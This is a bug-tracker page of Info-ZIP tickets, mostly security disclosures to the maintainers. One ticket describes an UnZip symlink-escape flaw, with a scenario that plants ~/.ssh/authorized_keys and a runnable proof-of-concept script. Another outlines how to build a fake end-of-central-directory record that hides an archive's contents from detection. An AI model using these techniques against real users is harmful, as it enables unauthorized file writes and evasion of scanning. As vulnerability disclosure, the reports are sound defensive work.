Recent changes to bugs

#86 Info-ZIP UnZip below 6.10b BETA — Arbitrary File Write via Preexisting Destination Symlinks

Paul Marquess — Thu, 23 Apr 2026 15:08:16 -0000

Very nice bug report Nicholas

Unfortunately, I'm not seeing this is a valid issue that unzip should do anything about.

Here is a real life example that I don't think is unique to my workflow: I have a shortcut to my development directory tree setup as a symbolic link -- so something like ~/my-code will actually point to the real path where my dev code lives.

If I want unzip some content into my development tree, I would write this

unzip myzip.zip -d ~/my-code

or this

unzip myzip.zip -d ~/my-code/new-files

I'd expect both of these to work.

I'm not sure if it is possible to spot the difference between valid/safe use-cases and malicious one.

If I've misinterpreted your issue, please reply with more detail.

Info-ZIP UnZip below 6.10b BETA — Arbitrary File Write via Preexisting Destination Symlinks

Nicholas Wei — Thu, 23 Apr 2026 06:31:23 -0000

Info-ZIP UnZip below 6.10b BETA contains a hostile-prestate filesystem issue: if the chosen extraction directory (or any already-existing parent component under it) is a symlink, unzip may follow that symlink and write files outside the intended extraction root. The attackments contains the markdown version of the vulnerability with same content.

One realistic attack scenario is a “malicious repo / template project” that includes a symlinked output directory and an archive that looks harmless (no ../ traversal needed):

repo/
|-- out -> ~/.ssh/          (preexisting symlink; attacker-controlled repo content)
|-- malicious.zip           (attacker-controlled archive)

Victim workflow:

Victim clones the repo and follows the README instruction to “extract the resources into out/”.
Victim runs: unzip malicious.zip -d out

If malicious.zip contains a normal entry like authorized_keys, UnZip can end up creating or overwriting ~/.ssh/authorized_keys (or any other file under the symlink target, within the victim’s permissions). The archive itself does not need path traversal strings; the escape happens because the destination path resolution follows a preexisting symlink.

0. Environment

Target: unzip (Info-ZIP UnZip extraction: unzip <archive> -d <outdir>)
Version: Info-ZIP UnZip 6.10b BETA (10 Dec 10), from unzip610b.zip (sha256 6cf44ac86789008d9493896b7816027f6022be24ad90a15d472393902584a5a2) and UnZip 6.00.
Build (from repository root; requires gcc + make):

cd test_target/unzip610b
make -f unix/Makefile clean
make -f unix/Makefile generic_gcc -j"$(nproc)"

Binary: test_target/unzip610b/unzip (run PoC with UNZIP_BIN=...)

1. Description

Info-ZIP UnZip does not reject preexisting symlink path components in the chosen destination when extracting files.

Two practical variants:

Symlink extraction root: if the user-selected -d <outdir> path exists as a symlink to some other directory, UnZip accepts it and extracts through the symlink.
Symlink parent component under the root: even when the extraction root is a real directory, any already-existing parent component like out/a can be a symlink. UnZip accepts it as a directory and then writes through it when creating out/a/file.

This is a hostile-prestate filesystem-semantics issue: even with a safe-looking archive member name (e.g., a/pwn.txt), extraction can write outside the intended destination if the filesystem state is attacker-controlled.

Relevant code:

test_target/unzip610b/unix/unix.c — checkdir() uses SSTAT(..., &statbuf) (follows symlinks) to validate:
FUNCTION == ROOT (the -d extraction root)
FUNCTION == APPEND_DIR (intermediate directory components under the root)
test_target/unzip610b/unzpriv.h — SSTAT maps to stat() (not lstat()), so symlink components are not rejected.

2. Impact

If an attacker can influence or pre-create the destination directory structure (common in shared workspaces, temp directories, or automation pipelines), they can redirect UnZip’s extracted file writes outside the intended extraction root.

Practical consequences include:

writing attacker-chosen files adjacent to the extraction directory;
clobbering configuration/state files of other tools that share the same filesystem location;
converting “extract into sandbox dir” into an arbitrary file write primitive.

3. Reason / Root Cause

UnZip verifies that destination components “exist and are directories” using stat(), which follows symlinks. It never enforces the stronger property needed for containment:

“every path component under the extraction root must be a real directory (not a symlink).”

As a result, a preexisting symlink is treated as a directory and later used in regular open()/fopen() style writes.

4. Proof-of-Concept

4.1 PoC file

Runner: vuln_reports/unzip-001-preexisting-symlink-escape/poc.sh

4.2 What the PoC does

The PoC demonstrates both variants:

Root symlink escape: sandbox/out -> ../outside, then unzip -d sandbox/out writes into outside/.
Parent symlink escape: out/a -> ../outside, then extracting a/pwn_parent.txt writes into outside/.

4.3 Expected result

Successful exploitation creates:

/tmp/unpfuzz_unzip_prest/root/outside/root_pwn.txt
/tmp/unpfuzz_unzip_prest/parent/outside/pwn_parent.txt

5. Fix Recommendations

When validating the extraction root and intermediate components, use lstat() and reject symlinks.
Prefer descriptor-relative extraction:
open the root directory once (open(outdir, O_DIRECTORY)), then
walk components with openat()/mkdirat() while rejecting symlinks (O_NOFOLLOW where applicable).
On Linux, prefer openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS) to enforce containment in-kernel.
Add regression tests for hostile-prestate symlink components (both root and parent), not only ../ string traversal.

6. Reproduction

From the repository root:

UNZIP_BIN=/path/to/unzip ./poc.sh

Below is the poc.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd -- "${SCRIPT_DIR}/../.." && pwd)"

UNZIP_BIN="${UNZIP_BIN:-${REPO_ROOT}/test_target/unzip610b/unzip}"

if [[ ! -x "$UNZIP_BIN" ]]; then
  echo "[*] building unzip610b/unzip (generic_gcc)..." >&2
  (cd "${REPO_ROOT}/test_target/unzip610b" && make -f unix/Makefile clean && make -f unix/Makefile generic_gcc -j"$(nproc)") >/dev/null 2>&1
fi

if [[ ! -x "$UNZIP_BIN" ]]; then
  echo "error: UNZIP_BIN is not executable: $UNZIP_BIN" >&2
  exit 1
fi

base=/tmp/unpfuzz_unzip_prest
rm -rf "$base"
mkdir -p "$base"

python3 - <<'PY'
import zipfile

base = "/tmp/unpfuzz_unzip_prest"

with zipfile.ZipFile(base + "/root.zip", "w", compression=zipfile.ZIP_DEFLATED) as z:
    z.writestr("root_pwn.txt", "ROOT_SYMLINK\n")

with zipfile.ZipFile(base + "/parent.zip", "w", compression=zipfile.ZIP_DEFLATED) as z:
    z.writestr("a/pwn_parent.txt", "PARENT_SYMLINK\n")
PY

## Case 1: extraction root is a symlink to an outside directory.
mkdir -p "$base/root/sandbox" "$base/root/outside"
ln -s ../outside "$base/root/sandbox/out"

LC_ALL=C "$UNZIP_BIN" -q "$base/root.zip" -d "$base/root/sandbox/out"

if [[ ! -f "$base/root/outside/root_pwn.txt" ]]; then
  echo "[-] root symlink escape failed: expected outside file not found" >&2
  find "$base/root" -maxdepth 4 -ls >&2 || true
  exit 1
fi

echo "[+] root symlink accepted; wrote outside root:"
cat "$base/root/outside/root_pwn.txt"

## Case 2: a parent component under the root is a preexisting symlink.
mkdir -p "$base/parent/out" "$base/parent/outside"
ln -s ../outside "$base/parent/out/a"

LC_ALL=C "$UNZIP_BIN" -q "$base/parent.zip" -d "$base/parent/out"

if [[ ! -f "$base/parent/outside/pwn_parent.txt" ]]; then
  echo "[-] parent symlink escape failed: expected outside file not found" >&2
  find "$base/parent" -maxdepth 4 -ls >&2 || true
  exit 1
fi

echo "[+] parent symlink accepted; wrote outside root:"
cat "$base/parent/outside/pwn_parent.txt"

Timeline

Report to vendor: 23/04/2026

#85 Trailing Fake EOCD Causes Archive to be Interpreted as Empty in unzip 6.0

Paul Marquess — Tue, 24 Mar 2026 17:51:31 -0000

Hey Ronish

variations on this issue has been around for a while, but thanks for taking the time to formalise it in a ticket. Last one I heard of was embedding a complete zip file in the trailing zip comment.

A use-case where this could be used is where the unzipping code works in streaming mode and walks the local directory entries in turn without bothering about the Central Dirsctory & EOCD. In that case, the standard commandline tools would think this was a zip file with zero entries, but the streaming unzipper would see things differntly.

Trailing Fake EOCD Causes Archive to be Interpreted as Empty in unzip 6.0

Ronish Bhatt — Tue, 24 Mar 2026 15:09:00 -0000

Severity: Medium (Integrity / Anti-forensics / Parser Differential)

Affected Software:

Info-ZIP UnZip 6.0 (confirmed)
Other ZIP parsers using backward EOCD scanning (Python zipfile also affected)

Summary:
Appending a syntactically valid EOCD record (with zero entries) after the legitimate ZIP archive causes unzip 6.0 to select the fake EOCD during backward scanning.

This results in the archive being interpreted as empty, despite containing valid files.

Impact:

Silent data integrity corruption
Archive appears empty in listing tools
Enables evasion of detection pipelines
Enables inconsistent interpretation across tools

Technical Details:

unzip scans backward for EOCD signature
It does not enforce that EOCD must terminate the archive
Appended data is treated as valid search space
First EOCD encountered is accepted without verifying:
its relation to actual central directory
file structure consistency

Attack Construction:

Create a valid ZIP archive
Append arbitrary data after the archive 3. Embed a fake EOCD structure in appended data:
zero entries
empty central directory
Ensure fake EOCD is found before the real EOCD during backward scan

Observed Behavior:

unzip -l → reports archive as empty
zipinfo → shows 0 entries
actual files remain present in archive

Expected Behavior:

EOCD must be validated against:
archive size boundaries
central directory location
EOCD located outside valid archive region should be rejected

Recommendation:

Validate EOCD offset and central directory consistency
Reject EOCD structures found in trailing data beyond archive bounds
Enforce stricter structural integrity checks

Disclosure Timeline:

Discovery: 23/03/2026
Report: 23/03/2026

Manpages are no longer accessible from the website.

林博仁(Buo-ren Lin) — Sat, 14 Feb 2026 06:59:02 -0000

Hello, I would like to inform you that the manpages under the http://info-zip.org/mans/*.html URL currently leads to 404 error page.

Also, your http://www.info-zip.org/zip-bug.html web form doesn't seem to work as well.

#83 unzip cannot be compiled with -DTIME_T_TYPE_DOUBLE=1 to make it Y2038 compliant on 32bit

Paul Marquess — Sat, 09 Aug 2025 12:34:30 -0000

Thanks for taking the time to provide a patch for TIME_T_TYPE_DOUBLE.

Confirmed that building the unzip 6.0 source with -DTIME_T_TYPE_DOUBLE does trigger a number of compilation issues.

Although your patch does silence them, I see that the updates to the development source for unzip appear to have a fix for this issue -- it builds with any compilation errors. . With a very superficial look at the sources, I suspect your's my be the correct change. Won't know for sure until I run a few tests.

One thing I notice is that the patch needs fuzz to make it apply. What version of unzip sources did you apply this change to and where did you get it?

$ patch -p1 <../2038.diff 
(Stripping trailing CRs from patch; use --binary to disable.)
patching file process.c
Hunk #1 succeeded at 2798 (offset -56 lines).
Hunk #2 succeeded at 2828 (offset -56 lines).
patch unexpectedly ends in middle of line
Hunk #3 succeeded at 2979 with fuzz 1 (offset -59 lines).

Out of interest, are you encountering an issue that means you need this fix right now?

unzip cannot be compiled with -DTIME_T_TYPE_DOUBLE=1 to make it Y2038 compliant on 32bit

Taketo Kabe — Sat, 09 Aug 2025 09:19:34 -0000

I tried to make unzip Y2038 compliant by -DTIME_T_TYPE_DOUBLE on 32bit, but the code didi not compile.
Below is the fix.
With this patch, zipfile composed on x86_64 was properly unzipped on 32bit unzip.

From: <kabe@>
Subject: Make it compile with -DTIME_T_TYPE_DOUBLE

diff -up ./process.c.t64 ./process.c
--- ./process.c.t64     2025-08-09 17:43:34.238185944 +0900
+++ ./process.c 2025-08-09 17:45:30.942845653 +0900
@@ -2854,7 +2854,7 @@ unsigned ef_scan_for_izux(ef_buf, ef_len
                                 i_time));
 #ifdef TIME_T_TYPE_DOUBLE
                         if ((ulg)(i_time) & (ulg)(0x80000000L)) {
-                            if (ut_in_archive_sgn == -1)
+                            if (ut_in_archive_sgn == -1) {
                               z_utim->atime =
                                 (time_t)((long)i_time | (~(long)0x7fffffffL));
                             } else if (ut_in_archive_sgn == 1) {
@@ -2884,13 +2884,14 @@ unsigned ef_scan_for_izux(ef_buf, ef_len
                     }
                 }
                 if (flags & EB_UT_FL_CTIME) {
+                    unsigned eb_idx = EB_UT_TIME1;
                     if ((eb_idx+4) <= eb_len) {
                         i_time = (long)makelong((EB_HEADSIZE+eb_idx) + ef_buf);
                         TTrace((stderr,"  UT e.f. creation time = %ld\n",
                                 i_time));
 #ifdef TIME_T_TYPE_DOUBLE
                         if ((ulg)(i_time) & (ulg)(0x80000000L)) {
-                            if (ut_in_archive_sgn == -1)
+                            if (ut_in_archive_sgn == -1) {
                               z_utim->ctime =
                                 (time_t)((long)i_time | (~(long)0x7fffffffL));
                             } else if (ut_in_archive_sgn == 1) {
@@ -3037,7 +3038,7 @@ unsigned ef_scan_for_izux(ef_buf, ef_len
                     TTrace((stderr,"  Unix EF actime = %ld\n", i_time));
 #ifdef TIME_T_TYPE_DOUBLE
                     if ((ulg)(i_time) & (ulg)(0x80000000L)) {
-                        if (ut_in_archive_sgn == -1)
+                        if (ut_in_archive_sgn == -1) {
                             z_utim->atime =
                               (time_t)((long)i_time | (~(long)0x7fffffffL));
                         } else if (ut_in_archive_sgn == 1) {

zip: support for cross-compilation and large file support

Santiago Vila — Tue, 22 Apr 2025 23:04:55 -0000

Hello. This is Debian Bug #836792 and this is the full URL for the bug:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=836792

Follows a summary of the bug.

Note: The bug is about cross-compilation and about Large File Support. It includes some changes to debian/rules that you can probably ignore (that's my job), but there are also other changes (like a few missing headers here and there) that would fit in the upstream code.

Helmut Grohne writes:

zip fails to cross build from source, because it uses the build
architecture compiler (and later fails dh_strip). Simply passing a
triplet-prefixed CC to configure makes the build pass already. Doing
that produces a zip without large file support though, because configure
determines large file support using a compile and run check. Thus I
replaced that check with an equivalent compile-only check. Please
consider applying the attached patch.

zip: Two bugfixes and a dep8 test

Santiago Vila — Tue, 22 Apr 2025 22:57:20 -0000

Hello. This is Debian Bug #1093629 and this is the full URL for the bug:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1093629

Follows a summary of the bug.

Note: I'm including the provided attachment "as is". You can ignore the parts related to Debian packaging,
but maybe the tests are interesting by themselves.

Florent 'Skia' Jacquet writes:

With the activation of _FORTIFY_SOURCE=3 in Ubuntu last year, zip has seen a few problems come into light. Please find attached a debdiff fixing them, along with the addition of a small dep8 test making sure they don't regress.

zip: Sets 'version needed to extract' to 1.0 even if there are deflated files

Santiago Vila — Tue, 22 Apr 2025 22:49:38 -0000

Hello. This is Debian Bug #606920 and this is the full URL for the bug:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=606920

Follows a summary of the bug.

Personal note: Maybe the problem is that the version required to extract is the version of the standard,
not the program version? I would gladly close this as a non-bug in Debian if it's documented somewhere.

Jasen Betts writes:

If the first file is "stored" file gets the required zip version wrong.

jasen@gonzo:~$ mkdir x x/a ; cd x
jasen@gonzo:~/x$ dd count=1 </dev/urandom | od > a/b
1+0 records in
1+0 records out
512 bytes (512 B) copied, 0.000225439 s, 2.3 MB/s
jasen@gonzo:~/x$ zip -r foo a 
  adding: a/ (stored 0%)
  adding: a/b (deflated 55%)
jasen@gonzo:~/x$ file foo.zip 
foo.zip: Zip archive data, at least v1.0 to extract


deflate compression needs atleast version 2.0 to extract

I think file is currently trying to determine required zip version 
from the header of the first file record. this often yeilds misleading 
information.